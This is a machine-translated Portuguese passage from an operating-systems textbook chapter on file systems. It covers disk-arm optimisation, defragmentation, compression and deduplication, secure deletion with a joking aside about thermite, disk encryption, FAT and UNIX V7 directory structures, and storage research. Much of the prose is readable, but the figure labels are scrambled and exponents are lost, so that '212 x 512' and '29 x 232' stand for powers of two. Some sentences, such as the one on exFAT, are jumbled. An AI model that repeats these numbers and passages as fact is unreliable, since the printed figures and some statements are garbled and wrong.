outra vez. Dessa forma, o sistema de arquivos pode adivinhar se deve ler adiante ou não. Se der errado de vez 
em quando, não será um desastre, apenas um pouco de desperdício de largura de banda do disco. 


Reduzindo o movimento do braço do disco 


O armazenamento em cache e a leitura antecipada não são as únicas maneiras de aumentar o desempenho 
do sistema de arquivos. Outra técnica importante para discos rígidos é reduzir a quantidade de 
movimento do braço do disco, colocando blocos que provavelmente serão acessados em sequência próximos 
entre si, de preferência no mesmo cilindro. Quando um arquivo de saída é gravado, o 
o sistema de arquivos precisa alocar os blocos um de cada vez, sob demanda. Se os blocos livres 
são gravados em um bitmap, e todo o bitmap está na memória principal, é fácil 
basta escolher um bloco livre o mais próximo possível do bloco anterior. Com um 


lista livre, parte da qual está no disco, é muito mais difícil alocar blocos próximos a ela. 


No entanto, mesmo com uma lista livre, algum agrupamento de blocos pode ser feito. O truque é 
para controlar o armazenamento em disco não em blocos, mas em grupos de blocos consecutivos. Se 
todos os setores consistem em 512 bytes, o sistema poderia usar blocos de 1 KB (2 setores), mas 
alocar armazenamento em disco em unidades de 2 blocos (4 setores). Isso não é o mesmo que ter 
Blocos de disco de 2 KB, já que o cache ainda usaria blocos de 1 KB e transferências de disco 
ainda teria 1 KB, mas lendo um arquivo sequencialmente em um sistema ocioso 
reduziria o número de buscas por um fator de dois, melhorando consideravelmente o desempenho. Uma 
variação do mesmo tema é levar em conta o posicionamento rotacional. Ao alocar blocos, o sistema tenta 
colocar blocos consecutivos 
em um arquivo no mesmo cilindro. 

Outro gargalo de desempenho em sistemas que usam i-nodes ou algo parecido 
é que a leitura de até mesmo um arquivo curto requer dois acessos ao disco: um para o i-node 
e um para o bloco. Em muitos sistemas de arquivos, o posicionamento do i-node é semelhante ao 
mostrado na Figura 4.31(a). Aqui todos os i-nodes estão próximos do início do disco, então o 
a distância média entre um i-node e seus blocos será metade do número de cilindros, exigindo longas buscas. 
Isto é claramente ineficiente e precisa ser melhorado. 


Machine Translated by Google 


320 SISTEMAS DE ARQUIVOS INDIVÍDUO. 4 
Os nós | estão O disco é dividido em 
localizados grupos de cilindros, cada 
perto do um com seus próprios i-nodes 
início do disco 


Grupo de cilindros 


U 
7 


Figura 4-31. (a) Nós | colocados no início do disco. (b) Disco dividido em grupos de 
cilindros, cada um com seus próprios blocos e i-nodes. 


Uma melhoria fácil de desempenho é colocar os i-nodes no meio do disco, em vez de no início, reduzindo 
assim a busca média entre o i-node e o primeiro bloco por um fator de dois. Outra ideia, mostrada na Figura 
4.31(b), é dividir o disco em grupos de cilindros, cada um com seus próprios i-nós, blocos e lista livre (McKusick 
et al., 1984). Ao criar um novo arquivo, qualquer i-node pode ser escolhido, mas é feita uma tentativa de encontrar 
um bloco no mesmo grupo de cilindros do i-node. Se não houver nenhum disponível, será usado um bloco de um 


grupo de cilindros próximo. 


É claro que o movimento do braço do disco e o tempo de rotação são relevantes apenas se o disco os tiver 
e não são relevantes para SSDs, que não possuem nenhuma peça móvel. 
Para essas unidades, construídas com a mesma tecnologia dos cartões flash, os acessos aleatórios (de leitura) 
são tão rápidos quanto os sequenciais e muitos dos problemas dos discos tradicionais desaparecem (apenas 


para surgirem novos). 


4.4.5 Desfragmentando Discos 


Quando o sistema operacional é instalado inicialmente, os programas e arquivos necessários são instalados 
consecutivamente, começando no início do disco, cada um seguindo diretamente o anterior. Todo o espaço livre 
em disco está em uma única unidade contígua seguindo os arquivos instalados. No entanto, com o passar do 
tempo, arquivos são criados e removidos e normalmente o disco fica muito fragmentado, com arquivos e buracos 
espalhados por todo o lugar. Como consequência, quando um novo arquivo é criado, os blocos utilizados para 
ele podem ficar espalhados por todo o disco, proporcionando um desempenho ruim. 


O desempenho pode ser restaurado movendo arquivos para torná-los contíguos e para colocar todo (ou 
pelo menos a maior parte) do espaço livre em uma ou mais grandes regiões contíguas no disco. O Windows tem 
um programa, o desfragmentador, que faz exatamente isso. 


Os usuários do Windows devem executá-lo regularmente, exceto em SSDs. 
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A desfragmentação funciona melhor em sistemas de arquivos que possuem muito espaço livre em um 
região contígua no final da partição. Este espaço permite a desfragmentação 
programa para selecionar arquivos fragmentados perto do início da partição e copiar todos os seus 
blocos para o espaço livre. Isso libera um bloco contíguo de espaço próximo ao 
início da partição na qual os arquivos originais ou outros arquivos podem ser colocados de forma contígua. O 
processo pode então ser repetido com a próxima parte do espaço em disco, etc. 

Alguns arquivos não podem ser movidos, incluindo o arquivo de paginação, o arquivo de hibernação e 
o log de registro no diário, porque a administração que seria necessária para fazer isso é 
mais problemas do que vale a pena. Em alguns sistemas, estes são módulos contíguos de tamanho fixo 
de qualquer maneira, para que não precisem ser desfragmentadas. A única vez em que seus 
A falta de mobilidade é um problema quando eles estão perto do fim da partição e o usuário deseja reduzir o 
tamanho da partição. A única maneira de resolver isso 
O problema é removê-los completamente, redimensionar a partição e recriá-los 
depois. 

Os sistemas de arquivos Linux (especialmente ext3 e ext4) geralmente sofrem menos com a 
desfragmentação do que os sistemas Windows devido à forma como os blocos de disco são selecionados, 
portanto a desfragmentação manual raramente é necessária. Além disso, os SSDs não sofrem nenhuma 
fragmentação. Na verdade, desfragmentar um SSD é contraproducente. Não só é 


não há ganho de desempenho, mas os SSDs se desgastam, então desfragmentá-los apenas 
encurta suas vidas. 


4.4.6 Compactação e Deduplicação 


Na “Era dos Dados”, as pessoas tendem a ter muitos dados. Todos esses dados 
deve encontrar uma casa em um dispositivo de armazenamento e muitas vezes essa casa fica lotada rapidamente com gatos 
fotos, vídeos de gatos e outras informações essenciais. Claro, sempre podemos comprar 
um SSD novo e maior, mas seria bom se pudéssemos evitar que ele enchesse 
tão rapidamente. 

A técnica mais simples para usar o escasso espaço de armazenamento com mais eficiência é a 
compressão. Além de compactar arquivos ou pastas manualmente, podemos usar um sistema de arquivos 
que compacta pastas específicas ou até mesmo todos os dados automaticamente. Sistemas de arquivos como 
NTFS (no Windows), Btrfs (Linux) e ZFS (em vários sistemas operacionais) 
todos oferecem compactação como opção. Os algoritmos de compressão geralmente parecem 
para repetir sequências de dados que eles codificam com eficiência. Por exemplo, 
ao gravar dados de arquivo, eles podem descobrir que os 133 bytes no deslocamento 1737 no 
arquivo são iguais aos 133 bytes no deslocamento 1500, então, em vez de escrever o mesmo 
bytes novamente, eles inserem um marcador (237.133) - indicando que esses 133 bytes podem ser 
encontrado a uma distância de 237 antes do deslocamento atual. 

Além de eliminar a redundância em um único arquivo, vários sistemas de arquivos populares também 
removem a redundância entre arquivos. Em sistemas que armazenam dados de muitos 
usuários, por exemplo em um ambiente de nuvem ou servidor, é comum encontrar arquivos que 
contêm os mesmos dados, pois vários usuários armazenam os mesmos documentos, binários ou 


vídeos. Essa duplicação de dados é ainda mais pronunciada no armazenamento de backup. Se os usuários 
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fazer backup de todos os seus arquivos importantes toda semana, cada novo backup provavelmente contém 
(principalmente) os mesmos dados. 

Em vez de armazenar os mesmos dados diversas vezes, vários sistemas de arquivos implementam a 
desduplicação para eliminar cópias duplicadas — exatamente como a desduplicação de páginas no subsistema 
de memória que discutimos no capítulo anterior. Este é um fenômeno muito comum em sistemas operacionais: 
uma técnica (neste caso, desduplicação) que é uma boa ideia em um subsistema, muitas vezes também é uma 
boa ideia em outros subsistemas. Aqui discutimos a desduplicação em sistemas de arquivos, mas a técnica 


também é usada em redes para evitar que os mesmos dados sejam enviados pela rede diversas vezes. 


A desduplicação do sistema de arquivos é possível na granularidade de arquivos, partes de arquivos ou até 
mesmo blocos de disco individuais. Hoje em dia, muitos sistemas de arquivos realizam desduplicação em 
pedaços de tamanho fixo de, digamos, 128 KB. Quando o procedimento de desduplicação detecta que dois 
arquivos contêm partes exatamente iguais, ele manterá apenas uma única cópia física compartilhada por ambos 
os arquivos. É claro que, assim que o pedaço de um dos arquivos for sobrescrito, uma cópia exclusiva deverá 
ser feita para que as alterações não afetem o outro arquivo. 


A desduplicação pode ser feita in-line ou pós-processamento. Com a desduplicação em linha, o sistema de 
arquivos calcula um hash para cada pedaço que está prestes a gravar e o compara aos hashes dos pedaços 
existentes. Se o pedaço já estiver presente, ele evitará realmente gravar os dados e, em vez disso, adicionará 
uma referência ao pedaço existente. É claro que os cálculos adicionais levam tempo e retardam a gravação. Por 
outro lado, a desduplicação pós-processo sempre grava os dados e executa o hash e as comparações em 
segundo plano, sem retardar as operações de arquivo do processo. Qual método é melhor é debatido quase tão 
calorosamente quanto qual editor é melhor, Emacs ou Vi (mesmo que a resposta a essa pergunta seja, claro, 
Emacs). 


Como o leitor astuto deve ter notado, há um problema com o uso de hashes para determinar a equivalência 
de pedaços: mesmo que isso aconteça raramente, o princípio do pombo diz que pedaços com conteúdo diferente 
podem ter o mesmo hash . Algumas implementações de desduplicação ignoram esse pequeno inconveniente e 
aceitam a probabilidade (muito baixa) de errar, mas também existem soluções que verificam se os pedaços são 
realmente equivalentes antes de desduplicá-los. 


4.4.7 Exclusão segura de arquivos e criptografia de disco 


Por mais sofisticadas que sejam as restrições de acesso ao nível do sistema operativo, os bits físicos no 
disco rígido ou SSD podem sempre ser lidos retirando o dispositivo de armazenamento e lendo-os novamente 
noutra máquina. Isto tem muitas implicações. Por exemplo, o sistema operacional pode “excluir” um arquivo 
removendo-o dos diretórios e liberando o i-node para reutilização, mas isso não remove o conteúdo do arquivo 
no disco. Assim, um invasor pode simplesmente ler os blocos brutos do disco para ignorar todas as permissões 


do sistema de arquivos, por mais restritivas que sejam. 


Machine Translated by Google 


SEC. 4.4 GERENCIAMENTO E OTIMIZAÇÃO DO SISTEMA DE ARQUIVOS 323 


Na verdade, excluir dados do disco com segurança não é fácil. Se o disco for antigo e não 
for mais necessário, mas os dados não puderem cair em mãos erradas sob nenhuma 
circunstância, a melhor abordagem é conseguir um vaso de flores grande. Coloque um pouco 
de termite, coloque o disco e cubra com mais termite. Depois acenda-o e observe-o queimar 
bem a 2500ºC. A recuperação será impossível, mesmo para um profissional. Se você não está 
familiarizado com as propriedades da termite, é altamente recomendável não tentar fazer isso 
em casa. 

Entretanto, se você quiser reutilizar o disco, esta técnica claramente não é apropriada. 
Mesmo se você substituir o conteúdo original por zeros, pode não ser suficiente. 

Em alguns discos rígidos, os dados armazenados no disco deixam rastros magnéticos em áreas 
próximas aos rastros reais. Assim, mesmo que o conteúdo normal das faixas seja zerado, um 
invasor altamente motivado e sofisticado (como uma agência de inteligência do governo) ainda 
poderá recuperar o conteúdo original inspecionando cuidadosamente as áreas adjacentes. Além 
disso, pode haver cópias do arquivo em locais inesperados no disco (por exemplo, como 

backup ou cache) e também precisam ser apagadas. Os SSDs têm problemas ainda piores, pois 
o sistema de arquivos não tem controle sobre quais blocos flash são sobrescritos e quando, já 
que isso é determinado pelo FTL. Normalmente, substituir um disco com três a sete passagens, 
alternando zeros e números aleatórios, irá apagá-lo com segurança. Existe software disponível 
para fazer isso. 

Uma forma de impossibilitar a recuperação de dados do disco, excluídos ou não, é 
criptografando tudo o que está no disco. A criptografia completa do disco está disponível em 
todos os sistemas operacionais modernos. Contanto que você não escreva a senha em um Post- 
It preso em algum lugar do seu computador, a criptografia completa do disco com um poderoso 
algoritmo de criptografia manterá seus dados seguros, mesmo que o disco caia nas mãos dos 
bandidos. 

A criptografia completa do disco às vezes também é fornecida pelos próprios dispositivos 
de armazenamento na forma de unidades de criptografia automática (SEDs) com recursos 
criptográficos integrados para fazer a criptografia e descriptografia, levando a um aumento de 
desempenho à medida que os cálculos criptográficos são descarregados da CPU. Infelizmente, 
os pesquisadores descobriram que muitos SEDs apresentam pontos fracos críticos de 
segurança devido a problemas de especificação, design e implementação (Meijer e Van Gastel, 2019). 

Como exemplo de criptografia completa de disco, o Windows utiliza os recursos de tais 
SEDs, se eles estiverem presentes. Caso contrário, ele próprio cuida da criptografia, usando 
uma chave secreta, a chave mestra do volume, em um algoritmo de criptografia padrão cnamado 
Advanced Encryption Standard (AES). A criptografia completa do disco no Windows foi projetada 
para ser o mais discreta possível e muitos usuários não sabem que seus dados estão 
criptografados no disco. A chave mestra do volume usada para criptografar ou descriptografar 
os dados em dispositivos de armazenamento regulares (ou seja, não SED) pode ser obtida 
descriptografando a chave (criptografada) com a senha do usuário ou com a chave de 
recuperação (que foi gerada automaticamente na primeira vez). o sistema de arquivos foi 
criptografado) ou extraindo a chave de um criptoprocessador de propósito especial conhecido 
como Trusted Platform Module, ou TPM. De qualquer forma, uma vez obtida a chave, o Windows 
pode criptografar ou descriptografar os dados do disco conforme necessário. 
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4.5 EXEMPLOS DE SISTEMAS DE ARQUIVOS 


Nas seções a seguir, discutiremos vários exemplos de sistemas de arquivos, variando dos mais 
simples aos mais sofisticados. Como os sistemas de arquivos UNIX modernos e o sistema de 
arquivos nativo do Windows são abordados no capítulo sobre UNIX (Cap. 10) e no capítulo sobre 
Windows (Cap. 11), não abordaremos esses sistemas aqui. Iremos, no entanto, examinar seus 
antecessores abaixo. Como mencionamos antes, variantes do sistema de arquivos MS-DOS ainda 
são usadas em câmeras digitais, tocadores de música portáteis, porta-retratos eletrônicos, pen drives 
e outros dispositivos, portanto, estudá-las ainda é definitivamente relevante. 


4.5.1 O sistema de arquivos MS-DOS 


O sistema de arquivos MS-DOS é aquele que acompanha os primeiros PCs IBM. Era o principal 
sistema de arquivos do Windows 98 e do Windows ME. Ainda é compatível com Windows 10 e 
Windows 11. No entanto, ele e uma extensão dele (FAT -32) tornaram-se amplamente utilizados em 
muitos sistemas embarcados. A maioria das câmeras digitais o utiliza. Muitos tocadores de MP3 o 
utilizam exclusivamente. Porta-retratos eletrônicos usam isso. Alguns cartões de memória usam isso. 
Muitos outros dispositivos simples que armazenam músicas, imagens e assim por diante ainda o 
utilizam. Ainda é o sistema de arquivos preferido para discos e outros dispositivos que precisam ser 
lidos pelo Windows e pelo MacOS. Assim, o número de dispositivos eletrônicos que utilizam o sistema 
de arquivos MS-DOS é muito maior agora do que em qualquer época do passado, e certamente 
muito maior do que o número que utiliza o sistema de arquivos NTFS mais moderno. Só por esse 
motivo, vale a pena examiná-lo com algum detalhe. 

Para ler um arquivo, um programa MS-DOS deve primeiro fazer uma chamada de sistema 
aberta para controlá-lo. A chamada de sistema aberto especifica um caminho, que pode ser absoluto 
ou relativo ao diretório de trabalho atual. O caminho é pesquisado componente por componente até 
que o diretório final seja localizado e lido na memória. Em seguida, é procurado o arquivo a ser aberto. 


Embora os diretórios do MS-DOS tenham tamanho variável, eles usam uma entrada de diretório 
de tamanho fixo de 32 bytes. O formato de uma entrada de diretório do MS-DOS é mostrado na 
Figura 4.32. Ele contém o nome do arquivo, atributos, data e hora de criação, bloco inicial e tamanho 
exato do arquivo. Nomes de arquivos com menos de 8 + 3 caracteres são justificados à esquerda e 
preenchidos com espaços à direita, em cada campo separadamente. O campo Atributos é novo e 
contém bits para indicar que um arquivo é somente leitura, precisa ser arquivado, está oculto ou é 
um arquivo de sistema. Arquivos somente leitura não podem ser gravados. Isto é para protegê-los 
de danos acidentais. O bit arquivado não possui nenhuma função real do sistema operacional (ou 
seja, o MS DOS não o examina nem o configura). A intenção é permitir que programas de 
arquivamento em nível de usuário o limpem ao arquivar um arquivo e que outros programas o 
configurem ao modificar um arquivo. Dessa forma, um programa de backup pode simplesmente 
examinar esse bit de atributo em cada arquivo para ver de quais arquivos fazer backup. O bit oculto 
pode ser definido para evitar que um arquivo apareça nas listagens de diretórios. Seu principal uso é 
evitar confundir usuários novatos com arquivos que eles talvez não entendam. Finalmente, o bit do sistema também oculta aro 
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Além disso, os arquivos do sistema não podem ser excluídos acidentalmente usando o comando del. O 


os principais componentes do MS-DOS possuem esse bit definido. 


Bytes 8 31 10 2 22 4 
7 
m 
Atributos de extensão reservados Tempo Data primeiro 
bloquear 
número 


Figura 4-32. A entrada do diretório MS-DOS. 


A entrada do diretório também contém a data e a hora em que o arquivo foi criado ou pela última vez 
modificado. O tempo tem precisão de apenas +2 segundos porque é armazenado em um campo de 2 bytes, 
que pode armazenar apenas 65.536 valores únicos (um dia contém 86.400 segundos). O 
O campo de hora é subdividido em segundos (5 bits), minutos (6 bits) e horas (5 bits). 

A data conta em dias usando três subcampos: dia (5 bits), mês (4 bits) e ano 

1980 (7 bits). Com um número de 7 bits para o ano e hora começando em 1980, o 
o ano mais exprimível é 2107. Assim. O MS-DOS tem um problema Y2108 interno. 
Para evitar a catástrofe, os usuários do MS-DOS devem começar com a conformidade com o Y2108 como 
o mais cedo possível. Se o MS-DOS tivesse usado os campos combinados de data e hora como 
Contador de segundos de 32 bits, poderia ter representado cada segundo exatamente e atrasado 
a catástrofe até 2116. 

O MS-DOS armazena o tamanho do arquivo como um número de 32 bits, portanto, em teoria, os arquivos podem ser tão 
grande como 4 GB. No entanto, outros limites (descritos abaixo) restringem o tamanho máximo do arquivo 
tamanho para 2 GB ou menos. Uma parte surpreendentemente grande da entrada (10 bytes) não é utilizada. 

O MS-DOS controla os blocos de arquivos por meio de uma tabela de alocação de arquivos na memória principal. 
A entrada do diretório contém o número do primeiro bloco de arquivo. Este número é usado 
como um índice em uma entrada FAT de 64K na memória principal. Seguindo a cadeia, todos os 
blocos podem ser encontrados. A operação do FAT é ilustrada na Figura 4-14. 

O sistema de arquivos FAT vem em três versões: FAT -12, FAT -16 e FAT -32, 
dependendo de quantos bits um endereço de disco contém. Na verdade, FAT -32 é um nome impróprio, já 
que apenas os 28 bits de ordem inferior dos endereços de disco são 
usado. Deveria ter se chamado FAT -28, mas potências de dois soam muito mais claras. 

Outra variante do sistema de arquivos FAT é o exFAT, que a Microsoft introduziu 
para grandes dispositivos removíveis. Sistema exFAT licenciado , Para que haja um arquivo moderno 
pela Apple que pode ser usado para transferir arquivos nos dois sentidos entre Windows e MacOS 
computadores. Como o exFAT é proprietário e a Microsoft não divulgou as especificações, não discutiremos 
mais sobre isso aqui. 

Para todos os FATs, o bloco de disco pode ser definido como um múltiplo de 512 bytes (possivelmente 
diferente para cada partição), com o conjunto de tamanhos de bloco permitidos (chamado cluster 
tamanhos da Microsoft) sendo diferentes para cada variante. A primeira versão do MS-DOS 
usou FAT -12 com blocos de 512 bytes, dando um tamanho máximo de partição de 212 x 512 
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bytes (na verdade, apenas 4086 x 512 bytes porque 10 dos endereços de disco foram usados como 
marcadores especiais, como fim de arquivo, bloco defeituoso, etc.). Com esses parâmetros, o tamanho 
máximo da partição do disco era de cerca de 2 MB e o tamanho da tabela FAT na memória era de 
4.096 entradas de 2 bytes cada. Usar uma entrada de tabela de 12 bits teria sido muito lento. 


Este sistema funcionou bem para disquetes, mas quando os discos rígidos foram lançados, tornou- 
se um problema. A Microsoft resolveu o problema permitindo tamanhos de bloco adicionais de 1 KB, 2 
KB e 4 KB. Essa mudança preservou a estrutura e o tamanho da tabela FAT-12, mas permitiu partições 
de disco de até 16 MB. 

Como o MS-DOS suportava quatro partições de disco por unidade de disco, o novo sistema de 
arquivos FAT -12 funcionava em discos de 64 MB. Além disso, algo tinha que acontecer. O que 
aconteceu foi a introdução do FAT -16, com ponteiros de disco de 16 bits. Além disso, foram permitidos 
tamanhos de bloco de 8 KB, 16 KB e 32 KB. (32.768 é a maior potência de dois que pode ser 
representada em 16 bits.) A tabela FAT-16 agora ocupava 128 KB de memória principal o tempo todo, 
mas com as memórias maiores então disponíveis, ela foi amplamente utilizada e rapidamente 
substituída. o sistema de arquivos FAT -12. A maior partição de disco que pode ser suportada pelo 
FAT-16 é de 2 GB (entradas de 64K de 32 KB cada) e o disco maior, de 8 GB, ou seja, quatro partições 
de 2 GB cada. Por um bom tempo, isso foi bom o suficiente. 


Mas não para sempre. Para cartas comerciais, esse limite não é um problema, mas para 
armazenar vídeo digital usando o padrão DV, um arquivo de 2 GB comporta pouco mais de 9 minutos de vídeo. 
Como consequência do fato de um disco de PC poder suportar apenas quatro partições, o maior vídeo 
que pode ser armazenado em um disco é de cerca de 38 minutos, independentemente do tamanho do 
disco. Esse limite também significa que o maior vídeo que pode ser editado on-line tem menos de 19 
minutos, já que são necessários arquivos de entrada e de saída. 

A partir da segunda versão do Windows 95, o sistema de arquivos FAT -32, com seus endereços 
de disco de 28 bits, foi introduzido e a versão do MS-DOS subjacente ao Windows 95 foi adaptada 
para suportar FAT -32. Neste sistema, as partições poderiam teoricamente ter 228 x 215 bytes, mas 
na verdade são limitadas a 2 TB (2.048 GB) porque internamente o sistema monitora os tamanhos 
das partições em setores de 512 bytes usando um número de 32 bits e 29 x 232 é 2 TB. O tamanho 
máximo da partição para vários tamanhos de bloco e todos os três tipos de FAT é mostrado na Figura 
4.38. 

Além de suportar discos maiores, o sistema de arquivos FAT-32 tem duas outras vantagens em 
relação ao FAT-16. Primeiro, um disco de 8 GB usando FAT -32 pode ser uma partição única. Usando 
FAT -16, deve haver quatro partições, que aparecem para o usuário do Windows como unidades de 
disco lógico C:, D:, E: e F:. Cabe ao usuário decidir qual arquivo colocar em qual unidade e acompanhar 
o que está onde. 

A outra vantagem do FAT -32 sobre o FAT -16 é que, para uma partição de disco de determinado 
tamanho, um tamanho de bloco menor pode ser usado. Por exemplo, para uma partição de disco de 2 
GB, o FAT-16 deve usar blocos de 32 KB; caso contrário, com apenas 64K de endereços de disco 
disponíveis, ele não poderá cobrir toda a partição. Por outro lado, o FAT-32 pode usar, por exemplo, 
blocos de 4 KB para uma partição de disco de 2 GB. A vantagem do tamanho de bloco menor é que a 
maioria dos arquivos tem muito menos de 32 KB. Se o tamanho do bloco for 32 KB, um arquivo de 10 
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Tamanho do bloco e FAT-12 FAT-16 FAT-32 

0,5KB 2MB 
1KB AMB 
2KB 8 MB 128 MB 
4 KB 16 MB 256 MB | TB 
8 KB 512 MB 2 TB 

16KB 1.024 MB 2 TB 

32 KB 2.048 MB 2 TB 


Figura 4-33. Tamanho máximo da partição para diferentes tamanhos de bloco. As caixas vazias 
representam combinações proibidas. 


bytes ocupam 32 KB de espaço em disco. Se o arquivo médio tiver, digamos, 8 KB, então com um 
Bloco de 32 KB, três quartos do disco serão desperdiçados, o que não é uma maneira muito eficiente 
para usar o disco. Com um arquivo de 8 KB e um bloco de 4 KB, não há desperdício de disco, mas 
o preço pago é mais RAM consumida pelo FAT. Com um bloco de 4 KB e um bloco de 2 GB 
partição de disco, existem blocos de 512K, portanto o FAT deve ter 512K entradas na memória (ocupando 2 
MB de RAM). 
O MS-DOS usa o FAT para controlar os blocos livres do disco. Qualquer bloco que não seja 
atualmente alocado é marcado com um código especial. Quando o MS-DOS precisa de um novo 
bloco de disco, ele procura no FAT uma entrada contendo esse código. Portanto, nenhum bitmap ou 
lista gratuita é necessária. 


4.5.2 O sistema de arquivos UNIX V7 


Mesmo as primeiras versões do UNIX tinham um sistema de arquivos multiusuário bastante sofisticado 
já que foi derivado do MULTICS. Abaixo discutiremos o sistema de arquivos V7, 
aquele do PDP-11 que tornou o UNIX famoso. Examinaremos um moderno 
Sistema de arquivos UNIX no contexto do Linux no Cap. 10. 

O sistema de arquivos tem a forma de uma árvore começando no diretório raiz, com o 
adição de links, formando um gráfico acíclico direcionado. Os nomes dos arquivos podem ter até 14 
caracteres e pode conter quaisquer caracteres ASCII, exceto / (porque é o separador entre componentes em 
um caminho) e NUL (porque é usado para preencher 
nomes com menos de 14 caracteres). NUL tem o valor numérico de 0. 

Uma entrada de diretório UNIX contém uma entrada para cada arquivo nesse diretório. Cada 
entrada é extremamente simples porque o UNIX usa o esquema i-node ilustrado em 
Figura 4-15. Uma entrada de diretório contém apenas dois campos: o nome do arquivo (14 bytes) e 
o número do i-node desse arquivo (2 bytes), conforme mostrado na Figura 4.34. Esses 
Os parâmetros limitam o número de arquivos por sistema de arquivos a 64K. 

Assim como o i-node da Figura 4.15, o i-node do UNIX contém alguns atributos. O 
atributos contêm o tamanho do arquivo, três tempos (criação, último acesso e última modificação), proprietário, 
grupo, informações de proteção e uma contagem do número de diretórios 
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Bytes 2 14 


F Nome do arquivo 


Número 
do nó | 


Figura 4-34. Uma entrada de diretório UNIX V7. 


entradas que apontam para o i-node. O último campo é necessário devido aos links. Sempre 
que um novo link é feito para um i-node, a contagem no i-node aumenta. Quando um link é 
removido, a contagem é diminuída. Quando chega a 0, o i-node é recuperado e os blocos do 
disco são colocados de volta na lista livre. 

O controle dos blocos do disco é feito usando uma generalização da Figura 4.15 para lidar 
com arquivos muito grandes. Os primeiros 10 endereços de disco são armazenados no próprio i- 
node, portanto, para arquivos pequenos, todas as informações necessárias estão diretamente 
no i-node, que é buscado do disco para a memória principal quando o arquivo é aberto. Para 
arquivos um pouco maiores, um dos endereços no i-node é o endereço de um bloco de disco 
denominado bloco indireto único. Este bloco contém endereços de disco adicionais. Se isso 
ainda não for suficiente, outro endereço no i-node, chamado bloco indireto duplo, contém o 
endereço de um bloco que contém uma lista de blocos indiretos únicos. Cada um desses blocos 
indiretos únicos aponta para algumas centenas de blocos de dados. Se mesmo isso não for 
suficiente, um bloqueio triplo indireto também pode ser utilizado. O quadro completo é 
mostrado na Figura 4.35. 

Quando um arquivo é aberto, o sistema de arquivos deve pegar o nome do arquivo fornecido 
e localizar seus blocos de disco. Vamos considerar como o nome do caminho /usr/ast/mbox é 
procurado. Usaremos o UNIX como exemplo, mas o algoritmo é basicamente o mesmo para 
todos os sistemas de diretórios hierárquicos. Primeiro, o sistema de arquivos localiza o diretório raiz. 
No UNIX, seu i-node está localizado em um local fixo no disco. A partir deste i-node, ele localiza 
o diretório raiz, que pode estar em qualquer lugar do disco, mas digamos o bloco 1. 

Depois disso, ele lê o diretório raiz e procura o primeiro componente do caminho, usr, no 
diretório raiz para encontrar o número do i-node do arquivo /usr. Localizar um i-node a partir de 
seu número é simples, pois cada um possui um local fixo no disco. A partir deste i-node, o 
sistema localiza o diretório /usr e procura o próximo componente, ast, nele. Quando encontrar a 
entrada para ast, ele terá o i-node para o diretório /usr/ast. A partir deste i-node ele pode 
encontrar o próprio diretório e procurar mbox. O i-node deste arquivo é então lido na memória e 
mantido lá até que o arquivo seja fechado. O processo de pesquisa é ilustrado na Figura 4.36. 


Os nomes de caminhos relativos são pesquisados da mesma forma que os absolutos, 
apenas começando no diretório de trabalho em vez de no diretório raiz. Cada diretório possui 
entradas para . € quais são colocados lá quando o diretório é criado. A entrada . tem o número 
do i-node para o diretório atual e a entrada para .. tem o i-node 
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nó l 
Atributos 
Bloco 
indireto 


Endereços de 


Bloqueio 
blocos de dados 


indireto 
duplo 


Bloqueio 


Figura 4-35. Um i-node UNIX. 


O bloco O nó 126 é O bloco 
Onól6 132 é para / 406é0 
Diretório raiz é para /usr o diretório /usr usr/ast diretório /usr/ast 


Tempos Tempos 


de de 


tamanho do modo tamanho do modo 


I-nó 6 Nó 126 
Pesquisar diz que / lusr/ast diz que / /usr/ast/mbox é 
usr produz usr está é o i-node usr/ast está o i-node 
inode 6 no bloco 132 26 no bloco 406 60 


Figura 4-36. As etapas para procurar /usr/ast/mbox. 
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número do diretório pai. Assim, um procedimento que procura ../chris/prog.c simplesmente procura .. no diretório de 
trabalho, encontra o número do i-node para o pai 

diretório e pesquisa nesse diretório por chris. Não é necessário nenhum mecanismo especial para 

lidar com esses nomes. No que diz respeito ao sistema de diretórios, eles são apenas 

strings ASCII comuns, assim como qualquer outro nome. A única trapaça 

aqui está isso .. no diretório raiz aponta para si mesmo. 


4.6 PESQUISA EM SISTEMAS DE ARQUIVOS 


Os sistemas de arquivos sempre atraíram mais pesquisas do que outras partes do sistema operacional, e esse 
ainda é o caso. Conferências inteiras, como FAST, MSST e 
NAS são amplamente dedicados a sistemas de arquivos e armazenamento. 
Uma quantidade considerável de pesquisas aborda a confiabilidade do armazenamento e do armazenamento de arquivos. 
sistemas. Uma maneira poderosa de garantir a confiabilidade é comprovar formalmente a segurança do 
seu sistema mesmo diante de eventos catastróficos, como falhas (Chen et al., 
2017). Além disso, com a crescente popularidade dos SSDs como principal meio de armazenamento, 
é interessante ver como eles se comportam bem em sistemas de armazenamento de grandes empresas 
(Maneas et al., 2020). 
Como vimos neste capítulo, os sistemas de arquivos são feras complexas e desenvolver novos sistemas de 
arquivos não é fácil. Muitos sistemas operacionais permitem que sistemas de arquivos sejam 
desenvolvido no espaço do usuário (por exemplo, a estrutura do sistema de arquivos do espaço do usuário FUSE em 
Linux), mas o desempenho geralmente é muito inferior. Com novos dispositivos de armazenamento 
como SSDs de baixo nível chegando ao mercado, a necessidade de uma pilha de armazenamento ágil 
é importante e é necessária pesquisa para desenvolver sistemas de arquivos de alto desempenho 
rapidamente (Miller et al., 2021). Na verdade, novos avanços na tecnologia de armazenamento estão impulsionando 
grande parte da pesquisa sobre sistemas de arquivos. Por exemplo, como construímos arquivos eficientes 
sistemas para nova memória persistente (Chen et al., 2021; e Neal, 2021)? Ou como 
podemos acelerar a verificação do sistema de arquivos (Domingo, 2021)? Até mesmo a fragmentação cria problemas 
diferentes em discos rígidos e SSDs e requer abordagens diferentes 
(Kesavan, 2019). 
Armazenar quantidades crescentes de dados no mesmo sistema de arquivos é um desafio, 
especialmente em dispositivos móveis, levando ao desenvolvimento de novos métodos para comprimir os dados 
sem tornar o sistema muito lento, por exemplo, tomando 
os padrões de acesso aos arquivos em consideração (Ji et al., 2021). Vimos isso como um 
alternativa à compactação por arquivo ou por bloco, alguns sistemas de arquivos hoje suportam 
desduplicação em todo o sistema para evitar o armazenamento dos mesmos dados duas vezes. 
Infelizmente, a desduplicação tende a levar a uma localização de dados deficiente e à tentativa de obter 
uma boa desduplicação sem perda de desempenho devido à falta de localidade é difícil 
(Zou, 2021). É claro que, com os dados desduplicados em todos os lugares, torna-se muito 
mais difícil estimar quanto espaço resta ou será deixado quando excluirmos um determinado 
arquivo (Harnik, 2019). 
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4.7 RESUMO 


Quando visto de fora, um sistema de arquivos é uma coleção de arquivos e diretórios, além de operações neles. 
Os arquivos podem ser lidos e gravados, os diretórios podem ser 
